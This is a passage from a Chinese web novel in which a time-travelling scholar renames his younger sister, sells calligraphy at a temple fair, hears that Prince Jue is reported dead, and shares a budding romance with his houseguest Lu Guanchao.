他若真攒托着改名,岂不是也成了逼迫她的其中一个了,陆观潮这话没错,季状元总要学会自己做决定。 于是季铮悻悻收回手,却怎么也抽不出,惊觉陆观潮还死死拉着他不放。 “陆——” “嘘。”陆观潮不看他,反倒捏了捏他叫他安静。 季铮没办法,任由陆观潮拉着去。 兴许是季状元骨子里是个极果断的人,不消多时她下定决心,眼睛亮亮的看季铮,“我要换。” 季铮松了口气,天知道他有多害怕季状元不同意。 “阿兄。”季状元一开心,音调不由自主的提高了几分,她激动的语无伦次,“我还没认得几个字,要改什么?不如你帮我选吧!” 陆观潮终于放开他,季铮忙掏出单子给她看,一一解释了深意,等季状元自己做决定。 这次几乎是下一秒,她用笔勾住“秧”字,笑道,“就这个字,我喜欢这个。” “季秧。”陆观潮道,“和你阿兄选的一样。” 季秧笑的眉眼弯弯,“我和阿兄血脉相什么,心又灵犀?” “是血脉相连,心有灵犀。” 季铮纠正道。 季秧不好意思的咧嘴一笑,总算有些小姑娘的俏皮了。 她道,“我会好好读书的,多谢阿兄!” 说罢,带上有一个秧字的单子,一溜烟的跑回屋内,关上门隐约传来“当”的一声响。 季铮笑着摇了摇头,墨水还未干,他重取了一张纸,照着书中一些吉利话临帖子。 陆观潮做到他身边,“写这个干什么,季秧还不到学这么复杂的字的时候,你未免太心急了。” “不是给她的。”季铮一遍写一遍道,“陈昇说庙会上有人卖字画换钱,我想着写几份试试能不能卖出去。” 季铮写字快,不一会已临了几张。 字迹或苍劲有力,或娟秀工整,每张都不重样。 陆观潮仔细分辨,要不是亲眼所见,必然不会相信这是一个人写出来的。 他没忍住打断季铮,“你会仿字迹?” “会一点。”季铮手上动作没听,“技多不压身嘛。” 他穿越前假期曾帮人写作业换钱,从小学一路干到高中毕业,直到大学后做兼职才隐退江湖。 代写服务在他的带领下形成一条完整的产业链,做到业内无差评,无论你是好看到拿过奖,还是难看到认不出,交给季铮保证一天摸透,两天上手,别说本人了,饶是天王老子来了也认不出来。 直接干翻了全校的同行,以至于吸引来隔壁校的同学。 而他业务极广,什么作业都收,最大胆的时候还帮班主任写过教案。 区区毛笔字不在话下。 季铮用的是陆观潮给他的那支笔,他见陆观潮就这么看着,塞给他一支道,“别光看,你也写啊。” 陆观潮那这笔,面不改色道,“我不会。” “啥。”季铮不敢置信的顿住,“你不会?” 会认字会读书但不会写,兄弟你逗我玩呢? 陆观潮提笔写下一个字证明自己。 下笔有力,笔画厚实,十分认真的写出一个黑蛋。 过程全对,结果全错。 陆观潮一脸坦然,“不会。” 季铮扯起一个笑,“你还挺骄傲是吗?” 因着这个字,陆观潮成功从先生降职学生,和季秧做到一起学字。 季秧先还觉得不合规矩,坐立难安,再看到陆观潮写的字后什么也说不出了。 丑,真的好丑啊。 甚至不像字,更像某种叫不出名字的飞鸟? 季秧打着哈哈道,试图宽慰陆观潮,“很不错呢。” 谁承想陆观潮毫无自知之明,“谢谢。” 卫镇庙会比吴阳镇热闹些,季铮不知道主家的位置,叫季秧走在前面带路,他则一路看着季秧,担心一不小心跟丢了。 顺带观察着季秧喜欢什么,给小姑娘买了几件。 这次陆观潮没和上次一样乱跑,就跟在季铮身边,即使陈昇在也忍住没摆脸色。 季铮很是欣慰,看陆观潮的目光都不禁柔和了几分。 他和陆观潮的关系不知不觉拉近不少,已经到了默认可以勾肩搭背的时候。 “陆观潮。”季铮偏头道,“交给你一项艰巨的任务。” 陆观潮迫于身高,只得微微弯腰,凑近季铮淡淡“嗯”了一声,仿佛季铮让他做什么都没关系。 季铮指向陈昇提前占好的空地道,“我要陪季秧,你去摆摊,帮我把字画卖出去,收益三七分。” 陆观潮问,“我七?” “我七。”季铮想了想,又补充道,“不过你吃得多,三七分对我来说太不划算,二八分,你二我八。” 陈昇冒头来了一句,“什么儿啊爸的,季铮哥你快来,再不摆上去就要被人抢了。” “……” 陆观潮气笑了,“我知道了,你去吧。” 季秧的物件不多,一个小包裹就能全带走,唯一难办的是屋内那架笨重的织机。 季铮和 陈昇试了无数种办法,没有可以全须全尾抬出来的可能性。 在征求季秧同意后,陈昇上手打算拆分开带走。 不料才拆到一半,带他们进来的门房暴怒呵斥,“谁准你们拿走的。” 那门房大概和厨房的有交情,不知吃了多少粮食,肥的像头猪,疾步走动时脸上的肉一颤一颤的,季铮噗嗤一笑,暗想这要真是头猪,卖的价钱能保一家人全年伙食。 季秧伸出尚且纤细的手臂,拦在季铮前面,壮着胆子和门房交谈,“你,你说过的,这织机卖给我,我交了钱。” 她说着说着,看到门房愠怒的大红脸,声音低了下去,“你还多收了我的银子。” 门房骂了句脏话,就要推季秧。 “嘴挺脏啊。”季铮把季秧护到身后,单手握住门房粗的像莲藕似的手腕,明明是笑着的,却总透着不悦。 自从穿越以来,季铮能吃多少就吃多少,一顿也不亏待自己,田里没活闲下来也不忘锻炼,身体素质好了不是一星半点,最起码对付一个跑两步都费劲的胖子简简单单。 门房用力没抽出手,顿时怕了,狐假虎威道,“你要怎样,我爹是府里管家,老爷身边的红人。” 季秧忙劝季铮,“阿兄,算了,反正也快坏了,我不要了。” 陈昇也道,“是啊,季铮哥,季阿姐的辞呈还要他确认。” 门房听了,仗着季秧的话有恃无恐道,“是你的吗就不要了,你说你买了,有凭证吗?” 岂有此理。 季铮气的牙痒,恨不得揍他一顿。 他回头看到季秧惶恐的模样,最终还是理智占了上风,松手放开门房。 “我是季铮,十六岁那年考中生员。”季铮冷静下来道,“或许你不知道这个名字,但你若有心,去官府查一查便知我是不是在骗你。” 门房下意识吞了口唾沫,“少,少吓唬人。” “小孟。” 门外传来一道声音,季铮看去,是个神态温和的女娘。 季秧下意识行礼道,“小姐。” 小姐,这位就是主家的小姐?看模样还没季秧大。 孟仲笑道,“不必行礼。” 说罢,她凝眉看向门房,“你父亲在府里做事,念及情谊,我对你少了管教,季姑娘和我提过,织机一事我也得知,你竟敢越到我的头上,孟府有孟府的规矩,去领罚吧。” 姓孟的门房低着头,鹌鹑似的溜走了。 季铮看着他离开,心中升起一阵厌烦,不是对门房,而是对自己。 他对封建礼教不屑一顾,也学会了身份压人。 孟仲对季秧道,“阿元,早不知你还有一个哥哥。” “小姐。”季秧面对孟仲不自觉放松下来,“我改名了,现在叫季秧,秧是秧苗的秧。” 孟仲由衷为季秧高兴,恭喜了几句,问,“可改了户籍?” “还没。”季铮道,“正要带家妹去。” 孟仲上下打量一遍季铮,末了道,“官府里不乏鼠目寸光之辈,孟府与他们有些牵连,季生员且登上片刻,我拟一份信让他们行个方便。” 季铮受宠若惊,“这怎么使得。” “季生员收下吧。”孟仲眯了眯眼,“孟府不过商贾人家,来日还要生员提携,何况季姑娘与我有缘,只求你好好待她。” 拿着孟仲给的信,官府干活分外麻利,不过一盏茶的功夫,便登记好了。 季铮拿着新户籍名单给季秧看,无意间听到一句,“珏王死了。” 珏王? 死了?! 16. 第 16 章 什么叫珏王死了,哪个珏王死了。 季铮拉住正说得热火朝天的小贩,问道,“珏王怎么了?” “死了呗。”小贩满脸不在乎,甚至带了点幸灾乐祸,“要我说死的好,这煞星活着只会冲撞咱皇帝爷爷,有什么用。” 周围响起哄堂大笑,这小贩得意极了,像是受到了鼓舞,还要再说诋毁珏王的话。 季铮不忍听下去,怕一不小心做出厌恶的反应被这些人群起而攻,带着季秧匆忙离开。 “阿兄。”走到一半,季秧忽的问季铮,“你心情不好,是因为他们说珏王吗?” 陈昇仔细看了看,道,“这么说,是有点。” 季铮搓了把脸,反问道,“很明显吗?” 他记得自己不是会把情绪挂在脸上的性格啊。 季秧摇摇头,“不明显,看不出来,但我感受到了。” 路过一家糖贩子,季秧目光被吸引,步子慢了下来。 她没说想吃,也没说拒绝,只是季铮卖给她是乖巧的说一声谢谢。 季铮心中一暖,季秧这样一定程度上来说,是两人之间隔阂变少的表现,这算是他在这个时代唯一的安慰了。 人会被环境同化,穿越前季铮才大学毕业,虽然他早早出入社会和人打交道,说到底也还是一个心智不成熟的少年,连能否在社会立足都不敢确定,别说这个陌生的封建社会了。 电视剧网络里绑定系统开挂一路爽的在他身上变了味。 他的系统应该是个半成品,一丁点服务意识都没有。 季铮把握不准其中的度,他怕自己被这个时代吞没,怕自己前二十多年的思想没腐化。 短短一天内,他竟生出了消极的想法,要不然躲在家里种地种到死吧。 在这时,季铮得知珏王身死。 按照陆观潮的讲法,珏王是大周的支柱,没了皇帝可以,没了珏王国破家亡指日可待。 天下真的要乱?天下乱了,他又该去什么地方种地。 季铮想得脑袋疼,干脆不去想了,当务之急是给季秧和陆观潮更好的生活,他想着,转头看季秧嚼饴糖。 季秧发觉季铮在看她,露齿一笑,递给他两块,“阿兄你也吃。” 饴糖甜腻中带着股苦意,并不大好吃,和季铮从前吃的糖差远了,要是能让季秧尝到就好了。 思及此,季铮眼眸一亮。 对啊,他可以制糖,曾经学的一堆乱七八糟的东西总得派上用场! 季铮一扫郁闷,倒回去又买了几袋饴糖,分给陈昇和季秧,正要把最后一份收起来,手中猝然一空,糖袋被人夺去。 他气恼看去,身后陆观潮笑着看他,“给我留的?” 季铮哑火了,不知该说是还是不是。 说是,要重新买,说不是,又怕陆观潮生气,毕竟陆观潮难得露出一个像样的笑。 陆观潮没等来季铮的回答,眉头锁起,“不是给我的?” 好罢好罢,不过是一袋糖,不至于和陆观潮计较。 季铮道,“就是给你的,喜欢吗。” “不喜欢。”陆观潮神色稍缓,说出的话却杀伤力极强,“我又不是小孩,不喜欢吃糖,下次不要给我带。” 他一边说,一边看向陈昇手中的糖,嗤笑一声,手上动作迅速把糖袋揣进怀里。 季铮无语了,你不喜欢倒是还回来啊。 陆观潮妥帖收好,就听季铮问道,“字画卖的怎么样了?” 他两手空空,一张字也没留,没想到他的字居然出奇的好卖。 陆观潮顿了一下,变戏法似的掏出一个钱袋子给季铮。 季铮接过颠了颠,觉得总量不对,拆开看了一眼,这一眼可不得了,季铮险些激动的撅过去,他惊呼,“这么多?” “多吗?”陆观潮耸耸肩,“我不知道要卖多少钱,你没告诉我。” 季铮啧啧称奇,“这也太多了,你怎么卖出的,商业鬼才啊!” 陆观潮受的理所应当,含笑道,“自然。” 背地里,他捂住袖中季铮的字,本来要找个地方扔掉的,他没下去手,这下好了,千万不能被季铮知道字只卖出去五张。 而这钱是陆观潮不想看季铮难过,当了自己从小贴身佩戴的护身玉符。 他只放了四份之一,剩下的留着下次用,以防再帮忙卖字时无法交差。 玉符换了袋糖,也算回本了。 见陆观潮还真受下了,季铮只得再掏钱买了一份,糖贩子脸上的笑压都压不住,咧着嘴给他多装了几块。 陈昇还有别的事,提前告别几人离开,听季铮说要买些东西,怕他们东西多了拿不回去,说自己带了推车可以顺便把织机带回去。 那织机实在老旧,陈昇拆的时候小心翼翼,就担心给弄坏了,要不是季秧要留下,季铮一定有多远丢多远。 他猛然想起系统奖励里有织机改造图纸,季秧喜欢这个,他与其阻挠,还不如尽自己所能为她提供便利。 季铮这样想着,问季秧道,“你很喜欢刺绣?” “喜欢。”季秧含着糖,不假思索道,“我绣工很好的,自己学的呢。” 她心里喜滋滋的,阿兄之前从没关心过这些,一天到晚除了点菜训斥几乎不会和她说话,她记不大清阿兄是什么时候变坏的,但现在的季铮他很喜欢,仿佛是还没被称为天才的季铮回来了。 季秧又道,“我绣的样子能卖很多钱,就在卫镇的成衣铺子卖,还是小姐为我举荐的。” 她说到一半,有些紧张的解释道,“是小姐身边的人帮我卖的,我没自个去,阿兄给我说过商贾下贱,我记得。” 一直没说话的陆观潮不赞同的看季铮,无声询问。 季铮笑一僵,原身的大脑是从猪圈里进的货吗? 吃人家的,喝人家的,最后放下筷子骂厨子说这钱低贱。 连猪狗都比不上,猪还贡献自己血肉,狗还知道汪汪两声。 不过转念一想,这个时代下九品,士农工商都刻入骨血里了,他这么想也不难解释。 季铮咳嗽一声,硬着头皮道,“其实嘛,有时候不要太较真,我真的是那么说的吗,会不会记错了?” “不会。”季秧道,“阿兄教给我的,我都记得很清楚!” 所以哪怕再讨厌季铮,到时间了也会回家看看季铮,只因她隐约有印象,儿时季铮下学堂到家,会教她学来的文章。 “你居然会这么想……”陆观潮道,“这倒是和我之前的判断不太一样。” 根据他的判断,季铮应当是一个不走寻常路,与其他人完全相反的叛逆性子。 陆观潮极其较真,会矫正所有不如他意的人或事,他不认同这个观点,也不想让季铮认同。 同时他还是一个宽容的老师,看在季铮今天给他带糖的面子上,决定改日再教育。 “骗你的。”季铮哈哈一笑,“我的意思 是想问你怎么看这事,其实是我想从商了。” 陆观潮不信,但季秧信了。 她松了一口气,“原来如此,是我误会阿兄了。” 妹妹,其实你没有误会,你阿兄真的是那样的人,哈哈哈…… 季铮心里苦笑,脸上的笑都显出几分涩味。 他看向陆观潮,发觉陆观潮也在看他,毫无表情的看,季铮被看的犯怵,打着哈哈躲开眼神。 于是陆观潮像是得了默许,看了季铮一路,买东西的时候看,回家时看,吃饭也看,晚上要睡觉了还在看。 不是偷偷看,是光明正大的看,和季铮不小心对视时坦坦荡荡。 他的目光太过毒辣,如芒刺背。 陆观潮有些行为季铮无法理解,但选择尊重。 比如喜欢盯着人看的毛病,很没有礼貌,季铮问过为什么要这样,陆观潮回复格外平静,“不知道,想看就看了。” 季铮不懂,他又不是黄金万两,貌美姑娘,陆观潮看他有个什么劲。 还能是想和他打一架? 想来这次的理由也是一样。 季铮翻身下床,陆观潮在他身后问,“你干什么?” “没事。”季铮沧桑笑道,“我出去逛一圈,你先睡。” 等陆观潮睡着了他再回来,不然被看着睡,一定会做噩梦的。 陆观潮想提醒注意安全别走太远,张了张嘴却发现季铮以及跑没影了。 “阿兄?” 出乎意料,季秧也还没睡,她坐在院里,面前铺着一张纸。 季铮走过去看了看,这大半夜的,季秧还在练字?怪不得进步快,原是半夜加班了。 季秧不好意思的扣着笔,“我睡不着就想干点事。” “为什么不点蜡烛,跑到这来练。”季铮坐到她身边,又问,“冷不冷?” “不冷。”季秧答,“我写的不好,怕浪费嘛,明日我能起得来。” 季铮无奈道,“我不是说这个,太暗了练字费眼。” 季秧忙道,“不碍事,月亮挺亮的。” 季铮沉默片刻,气氛霎时间安静,耳畔的虫鸣清晰明了。 季秧不敢说话,以为是自己犯错了。 半晌,季铮温声问,“有心事吗?” 只见季秧握笔的手一抖,没回话。 季铮不急,就等着季秧开口,不知过了多久,季秧慢慢翻出一只钱袋子放在桌上。 她垂着头,支支吾吾道,“阿兄,我骗了你,对不起,我没弄坏了主家的织机,那织机早就买下来了,工钱在这。” 季铮猜出来了,在季秧和孟家门房争论时。 小姑娘有私心存钱是好事,季铮并不认为她错了。 相反,季铮很欣慰季秧有为自己考虑的想法。 可看季秧这副战战兢兢的样子,今夜大概不适合讲道理。 季铮道,“我原谅你了。” 季秧一喜,把钱袋子推给季铮,“太好了!这些都给你,我还没花。” “不用。”季铮吓得站起身要躲。 季秧力气大,硬是塞到季铮手里,一蹦一跳的回房间去了。 关门前,她探出脑袋,笑道,“多谢阿兄。” 季铮拿着钱袋子回房,发愁该怎么还回去,才进门就差点撞上陆观潮。 这人咋还没睡? 陆观潮在他面前,环手而立,歪头道,“你去哪了?我一直在等你。” 17. 第 17 章 “等我?” 季铮疑惑道,“你等我干什么,为什么不睡觉,明天有事干呢。” “什么事?”陆观潮答非所问,一边说,一边跟着季铮走到床边,“除了砍柴锄地还有别的事?” 季铮把季秧的钱袋收好,思索片刻道,“季秧总是半夜练字,连蜡烛都不点,我想着明日腾出半天陪陪她,顺便也教教你写字。” 陆观潮眉头拧成一团,“我不用练。” 季铮试图劝他,“字就是人的第二张脸,你的字不好看,叫别人见了连带着会不喜你。” “是吗。”陆观潮眉头越皱越紧,“又是哪位圣贤说的,你也因此不喜我?” “这是什么歪理,字写的好又没坏处啊。” 季铮脱掉鞋袜,重新上榻,陆观潮跟在他后面坐下,他生的壮实,这连续几天的农活下来,显得更壮了,像一堵墙一样坐在床边,投下一片阴影。 陆观潮不依不饶,“你还没回答我。” 季铮不耐烦的盖上被子,“哎呀好了,明天再说。” 身边这堵墙压迫感格外强,大抵是得不到回答就不会满意了。 季铮心里想,陆观潮怎么跟小孩似的,不对,比小孩还折磨人。 这样的性子,真的参过军吗? 他这么想,嘴里喃喃道,“你的脾气谁能忍受的了。” 陆观潮敏锐察觉,欺身而下,撑在季铮身上,眉头低低压着,“你说什么?” 他听力咋这么牛,这都能听见? “我?”季铮尴尬笑了笑,转移话题道,“我在说,我们每天一起睡会不会太挤了,今天赚钱了,要不明天我找陈昇给你作张床?” 陆观潮面色阴沉。 骗人。 季铮为什么总骗他? 这不好,要改,陆观潮自觉容忍季铮很多次了,已经积攒到忍无可忍的地步,再不指出季铮的错误,会一错再错。 “你骗我。”他道,“你刚刚说的是忍不了我的脾气,为什么?” 为什么要骗他,为什么说他的脾气差。 他脾气差,难道陈昇那个窝囊蛋就好了? 季铮不知该怎么回答这个问题,先手扶陆观潮躺下,给人盖上被子,哄道,“好了好了,睡觉了,乖啊,明天再说。” “你!”陆观潮憋出这么一句,终于不咄咄逼人,被季铮摁着平躺在床上,呼吸声粗重。 季铮又伸手捂住陆观潮的嘴,迷迷糊糊道,“嘘——” 琢磨出来的哄人秘诀效果惊人,陆观潮浑身僵硬,露在外面的皮肤热乎乎的,还挺暖和,季铮懒得收手,便就这样抱着睡着了。 “……” 良久,陆观潮身上一空,季铮睡熟了,应是觉得他太烫了,翻身转向另一边。 被子被他裹跑了,陆观潮扯了扯,没扯动,季铮睡眠质量太强了,一旦睡着很难吵醒他。 没有办法,他只好朝季铮的方向挪了段距离,两人堪堪躺在一个枕头上。 近到陆观潮的吐息能吹起季铮鬓边的碎发。 他抬手碰季铮,自言自语道,“你不想和我做朋友是吗?” 以为不想和他结交,所以才嫌弃他脾气不好。 既然不想和他有关系,又为什么要招惹他。 为什么要收留他,直接报官不就好了。 陆观潮偶尔自信时,以为季铮是口是心非,现在忍不住怀疑自己,既难受又懊悔。 难受二十多年来唯一想结交朋友却泡汤了,懊悔竟会有这种幼稚的想法。 这些念头一直纠缠他,于是,陆观潮辗转法测久久闭不上眼。 第二天清晨,季铮睁眼,腰间沉甸甸的,他低眼一瞧,一只小臂正搭在他腰上。 半截袖子卷起来,露出健壮的肌肉。 陆观潮还没起? 这不符合他一贯的作风啊,难道是他今天起早了? 季铮没敢大动,微微昂头看向窗外,一缕阳光照到熟悉的位置,他的生物钟很稳定,并没有起早。 陆观潮被光线晃到,不舒服的皱着脸,将头往季铮怀里钻,那手臂一用力,揽着季铮的腰入怀,像抱抱枕一样牢牢抱住。 好吧,陆观潮这几天累到了,想抱就抱吧,都是男的又掉不了一块肉。 季铮没有反抗,瘫在床上任由陆观潮动作。 醒了睡不着,季铮太无聊,举起自己的胳膊和陆观潮的比了比,小了一圈。 他啧啧称奇,陆观潮是吃什么长大的,这个时代没有锻炼身体一说,这一身肌肉都是参军后练出来的? 大周的练兵体系如此完美? 正感叹着,陆观潮手指动了,在他腰间捏了一把。 他没用力气,但季铮那没多少肉,被捏的发痒。 季铮咳嗽一声把笑吞回去,再低头,和陆观潮的呆滞的目光对上。 他眼睁睁的看着陆观潮瞳孔缩小,一张脸慢慢爆红,怔愣住一动不动。 季铮慢慢握住陆观潮的手臂,从腰上剥离,笑道,“早啊。” 陆观潮乍然惊醒,身子原地弹起,吓得像条灵活的鱼,一激灵掉下床,发出“咚”了一声响。 这得疼成啥,季铮探头要问他还好吗。 却见陆观潮麻利的爬起来,头也不回的奔出屋,那速度不知道还以为后面有百万雄兵追他呢,连绊倒了椅子都没发现。 事实上,陆观潮更希望身后是百万雄兵。 他头一次恨自己的手臂,真想就这砍去丢掉不要了,怎么能趁季铮睡觉干出这般大逆不道的事。 成何体统! “陆观潮!”季铮在他身后喊他,“你跑什么?衣服!” 家里还有一个小姑娘啊!穿着中衣跑出去是想干什么! 陆观潮脚步一顿,折返回来披上外衣,匆匆逃走,全程一句话不说,连眼神交流都没有。 季铮再也忍不住,蒙在被子里闷闷笑出声。 陆观潮是傻子吧! “陆先生。” 季秧在院里捋线,见陆观潮跌跌撞撞的从房里出来,衣衫不整,关心问道,“你还好吗?” “我。”陆观潮下意识躲避季秧的目光,背过身整理好衣服,故作严肃道,“我很好。” 季秧又问,“可你的脸好红啊,发热了吗?” 说话间,季铮出门,倚在门框打趣陆观潮道,“陆先生,发热了就休息一天,身子要紧。” 陆观潮愤愤瞪着季铮。 “呀!”季秧捂着嘴震惊道,“怎么更红了?” 季铮佯装不知发生了什么,也一副吃惊模样,“好像那个红脸关公。” 什么关公,狗屁红脸。 陆观潮气冲冲的躲进厨房,留季铮笑得直不起腰。 季铮惹陆观潮生气了,具体表现为练字时写了满满一页季铮,又在背面写满了可恶。 可无论他写多少遍,季铮只有一句话, “可的里面是口,不是圈。” 小心思没得逞,陆观潮便故意的一样,在新一页全画成圈以示抗议。 最后在季铮说完“好浪费”后,不到一秒就被哄好 ,陆观潮单方面认为的报仇告一段落。 奖励织机改造图纸,投放位置和曲辕犁一样,季铮从箱子里掏出图纸,第一个想起来的就是陈昇。 陈昇这几日已经彻底琢磨清曲辕犁,和季铮商量着要给村里每户人家都整一台,问他要钱多少合适。 季铮是没意见的,让他看着要,毕竟系统奖励比这些银子值钱的多。 不过如今,给推广到每家每户的大业要停一停了。 季铮再一次撞见季秧深夜不睡,在屋里摆弄她那一脚踹下去立马散架的破织机,当即把换个机子的想法提上日程。 他临摹一遍后,拿着去找陈昇。 陆观潮本眼巴巴的看着他,问季铮要去哪,一得知是找陈昇后就不吭声了。 他心里明明是想跟着的,可实在看不惯陈昇,季铮几番邀约也没能松口。 没法,季铮只好把陆观潮留在家里,自己去了。 谁知走到半路,陆观潮远远跟上来了。 季铮回头问,“你不是不要来吗?” 陆观潮不言,心里却在想,季秧没跟着,他若也不来,保不齐季铮会被陈昇诓骗。 “你看。”季铮习以为常,将图纸给陆观潮看。 陆观潮不懂这些,看了半天总觉得熟悉,到底也没有看出个所以然来,但直觉告诉他一定不一般。。 他问道,“这是什么?” “织机。”季铮说着,指给他看改动的地方。 他早在今天之前就看过,凭着超凡的理解力了解了个七七八八,对此烂熟于心,就是为了防止陈昇不会,讲起来通俗易懂,陆观潮一个没碰过这些的都明白过来了。 季秧定能知道这东西的妙用,但既是惊喜,自是不能告诉她。 这才没带季秧出门。 陆观潮问道,“这是给季秧准备的?” 季铮点头,“你可别告诉她,再过些日子是她的生辰,这是礼物。” 那天改名,他无意瞥见了季秧的生日就在这几天了,这是穿越来季秧第一个生日,必须要好好过。 陆观潮道,“你这几天看的东西是这个?我说你为什么总忘她房里跑。” 原来是这么个玩意,让季铮对他爱搭不理。 陆观潮颔首,也罢,不是因为陈昇就行。 听着季铮的讲解,陆观潮慢慢有了兴趣,主动问了几个问题,季铮知无不言言无不尽,两人嫌走着讲碍事,就地找了个地方讨论。 过路的赵大爷想让两人帮忙施肥,叽里咕噜听了一大堆,不知所云,最后感慨年轻人真有精力,挑着扁担走了。 陆观潮很庆幸,庆幸第一个看到这份图纸的是自己,不是陈昇。 他掌控欲强,从前养只猫都不许别人抱,自个再忙也天天拎着。 珏王军敬陆观潮礼贤下士,营中将士有良心,知道煞星是陆观潮的痛楚,没人说劳什子谣言,氛围要比大都轻松多得多。 曾有人私下开玩笑传到陆观潮耳里,称殿下冷心冷情,有又情重义,谁要是让陆观潮上了心,一辈子也别想和他分开了,殿下非得焊在眼珠子里,拉屎撒尿也轮不到别人管。 就比如殿下帐里那肥猫,就不长眼朝陆观潮喵喵了两声,再也没单独出来过了,吃的喝的都是陆观潮照顾。 陆观潮不觉他是这样的人,但说的人多了,也意识到了,他的确是有点想控制在意的东西。 不过猫可以天天拎着,季铮可以吗? 陆观潮仔细看了看季铮的身量,估摸着自己的力气足够把季铮拎在身边。 18. 第 18 章 季铮没听到陆观潮回话,抬眼发现他在发呆,挥了挥手问道,“你想什么呢?” “我……”陆观潮别过脸,“没什么,我听懂了,不用再讲了。” 季铮还没讲开心,但任爽快的合上图纸,“好吧,剩下没讲完的到陈昇家里一块讲。” 陆观潮闷闷“嗯”了一声,没什么表情。 他忽然反应过来,季铮好像不能拎着带在身边。 那可怎么办,陆观潮不想让季铮和陈昇走太近。 如果季铮也是猫就好了。 季铮拍拍身上不存在的灰站起身,“好了,再晚就赶不上吃午饭了。” 陆观潮这才将脑中稀奇古怪的想法抛到脑后,跟上季铮。 将要入夏,正午天透着燥热,陈昇应是才忙完回来,裸着上身在院中冲凉,凉水顺着脑袋流下。 陆观潮走在季铮前面,打眼看见这场景,迅速的转身捂住季铮的眼睛。 “怎,怎么了?”季铮眼前蓦然一黑,不明所以的摇了摇头意图挣脱开。 陆观潮贴近季铮耳边,语气仿佛吃了屎一样,“别看,脏东西。” 脏东西? 什么鬼? 陈昇还能在院里放屎吗? 季铮扒拉着陆观潮的手,“别闹,有正经事呢。” 陈昇听到声音看过来,发现是两人后,激动的招手,“季铮哥,陆哥,你们来了啊。” 他没心没肺的袒露胸膛,见陆观潮捂季铮眼睛,不解问,“干嘛捂着季铮哥的眼睛,他眼睛受伤了吗?” 在受到陆观潮眼刀后,陈昇脑中嗡鸣,才想起来穿衣服。 刹那间他脸爆红,语无伦次的套衣服,“啊,对不住,我,我不知道,你们要来。” 陆观潮不爽道,“还不快穿好。” “嗯?”季铮下半张脸勉强挂起一个笑,伸直胳膊四下摸索,“哈喽,有人吗?!” 这里还有一个失去光明,蒙在事外的的人呢! 不就脱个衣服,至于这么严肃吗。 陆观潮看着陈昇穿戴整齐,缓缓放下捂着季铮的手。 季铮适应了光线后,睁眼奇怪的看了陆观潮一眼,“你有病吗,动不动遮我眼睛干什么?” “没什么。”陆观潮摆明了不想解释的样子,站在院门不动了,“你去吧,我在等会你。” 季铮不明白陆观潮的想法,但要事当前没心情顾及他,翻出图纸去找陈昇。 陈昇脸上余热还没降下去,支支吾吾的应着,悄悄用眼神瞟季铮。 “别看我啊,看这个。”季铮恨铁不成钢,“我脸上有东西吗?” 他眉头微蹙。 今天怎么回事,一个两个的都不好好听他说话。 “没有。”陈昇嘿嘿笑了两声,总算老老实实的听季铮讲解了。 认真听下来,陈昇不禁感叹,“真奇了,季铮哥,你哪来的这么多好点子。” 他眸底发着光,崇拜的看着季铮。 季铮一下子幻视穿越前,身后跟着求教导的小学弟学妹们了,被看得脚底发虚,推脱道,“也没有——” “季铮。” 陆观潮张口不耐烦打断,“还没说完?” 季铮看了看日头,是有点晚了,他将图纸留下和陈昇告别。 走前,陈昇不好意思道,“让你见笑了,对了,雨季马上要来了,有人家提前打算要修缮房屋,我闲来没事会去各处帮忙,季铮哥有需要随时来找我。” 季铮想起自己家屋顶草草补上的窟窿,大抵是扛不过去,再说季秧的屋子久不住人,也得好好修缮。 不能事事劳烦陆观潮,季铮便顺梯子往上爬接下这人情,约陈昇改日叙。 回程路上,陆观潮阴着脸,一言不发。 季铮戳了戳他,问,“怎么了?你也想要图纸?” “哼。”陆观潮像是就等着季铮问了,愤愤道,“你和他聊了快一个时辰,我等了你一个时辰,你不问问我,也得记得季秧还在家里吧。” 原来如此,真看不出来,陆观潮平日里对季秧生疏的态度,他还以为陆观潮不待见他的亲亲好妹妹呢。 没成想,陆观潮还是个面冷心热的,内里居然关心着季秧。 季铮安慰道,“她又不是小孩子,饿了自己会做饭吃,我下次不这样了,行不行?” 陆观潮面色稍缓,却依旧不好看。 他当然知道季秧饿了会吃东西,重点是这个吗,重点是他等了季铮一个时辰。 整整一个时辰,季铮没和他说一句话,不管他热不热,累不累。 聊聊聊,怎么不干脆住陈昇家里! 面上,他没敢说出来,万一季铮不长脑子真就跑人家家里住去了怎么办,这人前段时间还说要分床睡呢。 季铮歪头看陆观潮的表情,遭受一记白眼。 “又怎么了,我的大小姐~” 他一脸陶醉的唱出来,仿佛不知道自己的歌声有多难听。 陆观潮脚下步子顿住,一本正经捏住季铮的嘴道,“不许再唱,我不喜欢。” 季铮忙不迭点点头,被松开后追问,“为什么不让我唱,不好听吗?” “不好听。”陆观潮从没听过这种唱词,毫无功底,比军中唱来助兴的呦呵还低俗,季铮不知羞耻,什么也能唱出来。 能作出这种词,四书五经书都读到狗肚子里了。 顿了顿,陆观潮耳尖红了一点,干巴巴道,“我是男子,不该称呼小姐。” “哦。”季铮当即改词,“我的大少爷?” 回应他的,是陆观潮恼羞成怒的背影。 大都城外,两匹马踏过才生出来的青草。 镇南候呵停骏马,搓了把一路赶来略显沧桑的面孔,赵年递来水壶,他接过道声谢,昂头灌了大半才解口渴。 赵年道,“依殿下谋算,定是假死,侯爷切莫伤怀。” 水壶不知什么时候落进去沙子,镇南候抿嘴吐掉,道,“我自然知道,陛下逼得太紧了,殿下有了煞星名号,此生再无缘皇位,何必要斩草除根。” 赵年叹了一口气,外人不清楚,他能不清楚吗? 陛下最是多疑,登基才一年,以各种雷霆手段处死了十几位皇子皇女,对外宣称自戕病逝,有几个是真,连尚在襁褓中的十六皇子也没放过。 得亏 陆观潮在幽州才躲过一劫,奈何帝王心难测,悬在头上的刀终归要落下。 镇南候将水壶还给赵年,一抹嘴角水渍,道,“你就跟到这里吧,去找你家殿下。” “那您自己去?”赵年驾马往镇南候的地方靠了靠,“陛下病重,朝中必定不安生,万一出现意外,属下在也好有个通信的。” 镇南候握紧缰绳,神色一凌,“本侯亲自去看看,陛下这场病是怎么回事。” 他回头,朝赵年道,“殿下既然传出身死的消息,你此时回去,恐遭人怀疑,不若去寻他,这样我也能安心些。” 赵年一想确实,便不再坚持,拜别镇南候,看着人骑马跑远才有动作。 官道上青草没过马蹄。 良久,赵年调转马头,朝反方向驾马。 季秧每日没什么活干,练完字就绣绣花,这日嫌太无聊,早早和季铮打了招呼,要和朋友去镇上玩。 季铮格外欣慰,临走不顾季秧说的有钱,硬是塞了满满一袋子零钱给她。 